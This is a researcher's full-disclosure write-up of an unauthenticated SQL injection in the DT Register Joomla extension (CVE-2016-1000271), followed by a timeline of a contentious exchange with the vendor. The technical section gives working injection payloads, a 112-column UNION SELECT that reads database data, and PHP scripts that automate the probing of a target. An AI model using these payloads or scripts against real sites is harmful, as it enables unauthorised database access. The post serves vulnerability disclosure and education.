SQL injection in Joomla [1] extension DT Register [2] by DTH Development [3] allows remote unauthenticated attacker to execute arbitrary SQL commands via the cat parameter.

Steps to reproduce and Proof-of-Concept

If you open "DT Register" functionality on some site and open calendar module, then you can see choice of categories.

SQL injection in Joomla! extension DT Register - DTH demo site categories

Click on category redirects you to URL:

http://www.joomlaeventregistration.com/demo/index.php?task=calendar&controller=calendar&cat=5

And on loading this URL in browser, events data is loaded with AJAX using POST request to:

http://www.joomlaeventregistration.com/demo/index.php?controller=calendar&format=raw&cat[0]=6&task=events

Creating an error

First thing to notice is that Content-Type for json formated response is text/html. And site uses HTTP. But ok, let it be. Let's play with "cat" parameter. If to put just additional " at the end of cat value (6"), we can get error 500 already.

SQL injection in Joomla! extension DT Register - DTH demo site SQL error

Error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" ) or c.parent_id in( 6" ) and (if('2016-10-15' = b.dtstart,1,0) OR if('201' at line 11

Especially nice is to see entire executed SQL query in the outout:

SELECT DISTINCT(b.slabId), c.*,b.* , if(concat(b.startdate,' ',b.starttime) >= '2016-11-24 17:42:28' and b.startdate is not null,'y','n') as future_event , l.name as loc_name
FROM
    #__dtregister_group_event as b
    left join #__dtregister_event_categories ec on ec.event_id = b.slabId
    left join #__dtregister_categories as c on c.categoryId = ec.category_id
    left join #__dtregister_locations as l on l.id = b.location_id
where b.publish=1 and ( ( c.published=1 and c.access in( 1,1,5 ) ) || c.categoryId is null) and c.categoryId in( 6" ) or c.parent_id in( 6" ) and (if('2016-10-15' = b.dtstart,1,0) OR if('2016-10-15' > b.dtstart,if('2016-10-15' < b.dtend ,1,0 ),if(b.dtstart <= '2016-11-24',1,0))) group by b.slabId order by dtstart , dtstarttime , c.lft

Proof-of-Concept for SQL injection

For attacker it's quite easy situation. It's possible to "fix" SQL with just closing the bracket and commenting out rest of it.

Value for fixing SQL (reads out all events):

6) OR 1-- -

Executed SQL:

/* removed */ and  c.categoryId in( 6) OR 1-- -) or c.parent_id  in( 6" ) /* removed */

All events are displayed to output.

Exploiting - Let's read the data out!

As DTH Demo site have "enterprise grade firewall" and I did not have permission to test this site, I built exploit on the site where I had permission (bugbounty / hall-of-fame).

First question after Proof-of-Concept for SQL injection vulnerability is - can we use UNION construction in SQL. At least in my opinion it is the fastest and simplest way to read the data out.

Detecting amount of fields in SQL for UNION

For UNION we need to know, how many datafields are in the SELECT query. And we can smell something interesting here:

SELECT DISTINCT(b.slabId), c.*,b.*, if(concat(b.startdate,' ',b.starttime) >= '2016-11-24 17:42:28' and b.startdate is not null,'y','n') as future_event , l.name as loc_name

For testing it out:

6) ORDER BY 1-- -
... -- of course I didn't use all numbers between 1 and 112 ..
6) ORDER BY 112-- -

Till result with error message:

Unknown column '113' in 'order clause

So, we have 112 select fields! 112!

My new value for "cat" parameter:

3) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112-- -

And I ended up with new SQL error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and a.status IN (0,1) GROUP BY a.eventId' at line 1 SQL=SELECT SUM(a.memtot) FROM #__dtregister_user AS a WHERE a.eventId= and a.status IN (0,1) GROUP BY a.eventId

Problem seems to be empty eventId value:

WHERE a.eventId= and

Assumption: one of those 112 select fields is eventId and correct value is needed for next query. Let's try out with valid eventId - we saw some real eventId values previously, when we read out all events.

6) OR 1-- -

I'm going to use value 4. My new value for "cat" parameter is:

3) union select 4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4-- -

and boom! I have JSON formated output.

New challenges: in what position is eventId and from what position I can get some data back to the output.

Detecting eventId field position in SELECT statement

For detecting eventId position, I wrote this code:

<?php
function eventIdPositionTest($domain_path, $event_id) {

    $pos = range(1, 112);

    for($i = 0; $i < 112; $i++) {
        $tmp = $pos;
        $tmp[$i] = $event_id;

        $select = join(',', $tmp);  
        $query = '?controller=calendar&format=raw&cat=0)union%20select%20distinct%20'.urlencode($select).'--%20-&task=events';

        $src = @file_get_contents($domain_path.$query);
        //echo $src, PHP_EOL;
        if (substr($src, 0, 14+strlen($event_id)) == '{"events":[["'.$event_id.'"') {
            // $decode = json_decode($src, 1);
            // echo $decode['events'][0][5], PHP_EOL;
            echo 'eventId position: ', $i+1, PHP_EOL;
            return true;
        } else {
            // echo "Not good.", PHP_EOL, $src, PHP_EOL;
        }
    }
}
$event_id = 4;
$domain_path = 'http://[targetsite]/dtregister/';
eventIdPositionTest($domain_path, $event_id);
?>

And the output was:

eventId position: 13

Detecting fields from SELECT query which are presented in the output

For detecting fields in the output, we need to create some "hopefuly unique" fields and detect them in the output.

<?php
function outputPositionTest($domain_path, $event_id) {

    $event_id_select_position = 13; // count from 1

    $pos = range(100001, 100112);
    $pos[$event_id_select_position-1] = $event_id;

    $select = join(',', $pos);
    $query = '?controller=calendar&format=raw&cat=0)union%20select%20distinct%20'.urlencode($select).'--%20-&task=events';

    $src = file_get_contents($domain_path.$query);
    if (substr($src, 0, 14+strlen($event_id)) == '{"events":[["'.$event_id.'"') {
        // echo $src, PHP_EOL;
        var_dump(json_decode($src, 1));
    } else {
        echo "Not good.", PHP_EOL, $src, PHP_EOL;
    }
}
outputPositionTest($domain_path, $event_id);
?>

Output:

<?php
array(1) {
  ["events"]=>
  array(1) {
    [0]=>
    array(24) {
      [0]=>
      string(3) "195"
      [1]=>
      string(34) "<span id='event_195'>100015</span>"
// ... removed
      string(1) "0"
      [5]=>
      string(6) "100005"
// ... removed
      [9]=>
      string(6) "100112"
// ... removed
      [12]=>
      string(6) "100073"
// ... removed
      [16]=>
      string(6) "100023"
// ... removed
      [18]=>
      string(6) "100112"
      [19]=>
      int(100008)
// ... removed
      [21]=>
      string(149) "<img border=\"0\" alt=\"\" src=\"/[path-removed]/calendar?controller=file&amp;task=thumb&amp;w=60&amp;h=60&amp;filename=images/dtregister/eventpics/100073\" />"
// ... removed
      [23]=>
      string(1) "1"
    }
  }
}
?>

In total we can read from output values:

SELECT position, test value, presented in array location, presented value
5      100005   5    "100005"
8      100008   19   100008 (numeric)
13     4        1    "<span id='event_4'>100015<\/span>"
15     100015   1    "<span id='event_4'>100015<\/span>"
23     100023   16   "100023" (unlimited?)
73     100073   12   "100073"
                21   "<img ... src=\"\/[path-removed]\/calendar?controller=file ... &amp;filename=images\/dtregister\/eventpics\/100073\" \/>"
112    100112   9    "100112"
                12   "100112"

Conclusions:

  • We can not use position 8 (100008) as it's presented back as int.
  • We can not use position 13, because we need to keep there correct eventId value.
  • Sometimes there does not come output on position 5.
  • The best one so far seems to be output position 9 (and also 12), which cames from the last select field from SQL ("l.name as loc_name").

Proof-of-Concept SQL injection query

Value for "cat" parameter:

6) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,4,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,user()-- -

On SQL SELECT position 13 I use correct eventId value, in this case 4. On last SQL SELECT position (112) I read some data out - for Proof-of-Concept I just execute USER() function.

Like explained previously, we can read out data from last position (112) in SQL query from position 9 or 12 in response JSON message. In my test-case the value (in same quite important domain) was:

root@localhost

Just WOW! Who can have idea to run Joomla as root?

When you find out that Joomla is using root as database user

Exploit

I don't publish full-exploit as a script. Even based on shared informations it is obviously simple to make one yourself. If you can not make it, it would be too dangerous for you to execute it anyway :)

Vulnerability Disclosure Timeline

First - about ethical hacking. Publishing full conversation is a bit gray area. Usually I am not doing that. In this case - vendor is arrogant, did not want to fix their problems, started talking about "what kind of serious problems I may face". This is the reason why I am sharing it - clients of this vendor are paying for that product and they have right to know about it. It is not nice and ethical from my side to hide it.

Timezone for dates: Tallinn/Europe

  • 2016-10-17 | me > DTH | via web form - I would like to report some security holes. What is the correct way for that?
  • 2016-10-18 | me > DTH | any response?
  • 2016-10-25 | me > DTH | mail to dthdev@dthdevelopment.com

    One passed week, no response.

    If there will be no response, I publish findings as Full Disclosure in 0-day status in 1 month from first contact, 17th of November.

  • 2016-10-25 | DTH > me | Respnse from Richard Brown, copy sent to Nathan Gifford and also to support@sitelock.com.

    Hi Elar.

    We were going through our client list and we don't have you listed in there so we are not sure what you are requesting. Our site (dthdevelopment.com) is protected by an enterprise grade firewall along with being monitored and protected already by a 3rd party called Sitelock. If you have some specific issues can you please let us know? Also, if you have a login under a different customer it would help us in servicing your request.

    Best Regards,
    Rich

  • 2016-10-25 | me > DTH |

    Hi,

    yes, that's correct, I'm not in your client list, I'm whitehat hacker / security researches and I have found some security holes in your product "DT Register - Events & Calendar". From ethical hacking point of view I would like to let you know those details and then you can provide fixes.

    There is one SQL injection and few XSS vulnerabilities. And with XSS it's relatively easy to bypass your "enterprise firewall". Firewall can give just slowdown, not protection.

    Also it's not a really valid argument "we are protecting our solutions with firewall" and we sell the same solution to clients who are not using firewalls. Program must be secure without firewall.

    br,
    Elar

  • 2016-10-25 | me > DTH | technical details about SQL injection and 2 XSS vulnerabilities to Richard only

  • 2016-10-25 | DTH > me |

    If you are a whitehat hacker (implying an ethical hacker) then you will share the specifics with me regarding the SQL injection and XSS vulnerabilities. If you have been hacking into an installation of DT Register then it is also possible that the customer's implementation is either old or not properly done. If that is the case then you really need to reach out to that client. If that isn't the case then there may be a serious problem you face. Some countries prohibit the use of websites for ethical hacking without the owner's permission. If it turns out that the website is your own then you have an illegally obtained copy of DT Register which means there is a more serious issue to address. So you need to disclose specifics.

  • 2016-10-25 | me > DTH |

    Hi,

    > "If you are a whitehat hacker (implying an ethical hacker) then you will share the specifics with me regarding the SQL injection and XSS vulnerabilities."
    I think I shared details with separate email, which I sent right after first one. Including Proof-of-Concept URL's and screenshots.


    > "If you have been hacking into an installation of DT Register then it is also possible that the customer's implementation is either old or not properly done."
    I found the vulnerability using black box method on a customer installation, and I verified on your demo site, that there problem is there. In that case you have also not up to date installation.


    > "If that is the case then you really need to reach out to that client."
    That client is informed.


    > "If that isn't the case then there may be a serious problem you face. Some countries prohibit the use of websites for ethical hacking without the owner's permission."
    It was done under bug-bounty/hall-of-fame program.


    > "If it turns out that the website is your own then you have an illegally obtained copy of DT Register which means there is a more serious issue to address."
    No, I don't have any copy of the software.


    > "So you need to disclose specifics."
    In my opinion I did that.


    To conclude the situation - instead of fixing named bugs you start describing, what kind of huge problems I'm going to face. Is this your official way to resolve security holes in your program code? Can I share this answer as "official response from DTH when you help them to improve security"?


    If I could want to fight with you or use it illegal way, I could sell those security holes on black market. For some reason I'm here and typing this letter. Getting this kind of attitude and response force me to ask from myself - why the heck I try to help someone if they start threaten you.

    Think about that. Think about your alternative scenarios.

  • 2016-11-02 | me > DTH |

    Hi,

    8 days in silence.

    #1 Can you confirm, that you got technical details?
    #2 Do you have plans to fix mentioned security holes?

    br,
    Elar

As Richard from DTH really does not respond, I made "last call" and sent letter to all participiants in first email.

  • 2016-11-11 | me > DTH, SiteLock | Last call.

    On October 25th I wrote:

    > If there will be no response, I publish findings as Full Disclosure in 0-day status in 1 month from first contact, 17th of November.

    On November 2nd I wrote:
    > #1 Can you confirm, that you got technical details?
    > #2 Do you have plans to fix mentioned security holes?

    Another 9 days passed, still no response.

    Not admitting to the security vulnerabilities in your product, which you are selling to your paying customers, is not ethical and puts your customers' data at risk. Instead of taking the information, which I have ethically provided you with, and fixing your product, you begin to issue threats.

    Please inform me whether or not you will be fixing the security vulnerabilities which I have emailed Richard on October the 25th, 2016.

    Here is how we can proceed: I will be informing cert.org regarding the vulnerabilities which I have disclosed to you. The decision whether this will happen before or after you have fixed them is up to you, and as I wrote previously, I await your confirmation on if, and when that is going to happen. Based on your feedback so far, I am unsure if the real threat to your product is your attitude towards security, or the actual security vulnerabilities themselves. It would seem that the latter is a result of the former, in any case.

    Elar

  • 2016-11-11 | SiteLock > me (CC to DTH) | "Can not find your account, can not open ticket"

  • 2016-11-11 | me > SiteLock (CC to DTH) | Explanation, why I had support@sitelock.com in CC
  • 2016-11-11 | SiteLock > DTH (CC to me) | "I will close the ticket. Please let me know if you are having any security concerns with your account"
  • 2016-11-12 | DTH > SiteLock (CC to me) |
    This is on our demo site. It was configured to be open in the setup. I am working internally with one of our support people on changes to make. This site is useful for prospects. As soon as we make changes I will reach out to confirm closing the ticket.

Configured to be open? Configured to have SQL injection and XSS vulnerabilities? :) Anyway, they probably fixed the problem and made new release on 15h of November.

  • 2016-11-15 | DTH | Released DT Register version 3.1.12 (J3.x) / 2.8.18 (J2.5)

One down, 2 to go.

  • 2016-12-05 | DTH > me | "Sorry, forgot to respont on this. We closed the problem on our demo site".
  • 2016-12-05 | me > DTH | SQL injection seems to fixed. XSS vulnerabilities are still there.

Communication continued for discussing fixes for XSS vulnerabilities. Attitude from vendor side changed a lot. It was quite ok at the end :)

  • 2016-12-16 | DTH | Released DT Register version 3.1.13 (J3.x) [6]

Asking CVE for this case was not really faster communication.

  • 2016-10-18 | me > MITRE | CVE request
  • 2016-10-19 | MITRE > me |
    The Distributed Weakness Filing (DWF) Project is the CVE Numbering
    Authority (CNA) currently responsible for assigning CVE IDs to open
    source software vulnerabilities that are outside of the current CVE
    coverage goals listed at
    http://cve.mitre.org/cve/data_sources_product_coverage.html. Your
    request appears to match these criteria.

    If the vulnerability you requested an ID for is public or is readyv
    to be made public, you may request a CVE ID from the DWF project by
    filling out their web form at http://iwantacve.org. The DWF project
    CNA is not currently assigning CVE IDs to embargoed vulnerabilities.

So, I did not check MITRE criterias carefully enough and asked CVE from wrong place. Let's try to ask it from correct place then - DWF project [4].

  • 2016-10-20 | me > DWF | CVE request
  • 2016-10-31 | DWF > me | "CVE - Acceptance of MITRE Terms of Use for CVE Assignment"
  • 2016-10-31 | me > DWF | I accept
  • 2016-11-19 | me > DWF | Any feedback or decision? (still no response)
  • 2016-12-11 | me > DWF | Is there any hope to get feedback?

Anyway, vulnerability seems to be fixed. No CVE assignet. Yet.

  • 2016-12-12 | me | Full Disclosure on security.elarlang.eu
  • 2016-12-13 | me | Full Disclosure in FullDisclosure mailinglist on seclists.org

And finally, CVE is also assigned.

  • 2016-12-13 | DWF | CVE-2016-1000271 assigned
  • 2016-12-16 | DWF > me | CVE-2016-1000271 assigned
  • 2016-12-17 | me | Blog post update

Statuses for listed problems

Main SQL injection seems to be fixed with DT Register version 3.1.13 (J3.x) / 2.8.18 (J2.5). (updated!)

Additionally reported XSS vulnerabilities are still there (will be fixed in next version).

Suggestions

Update your DT Register plugin.

Using payable solution does not guarantee quality.

References

Related links


Comments

comments powered by Disqus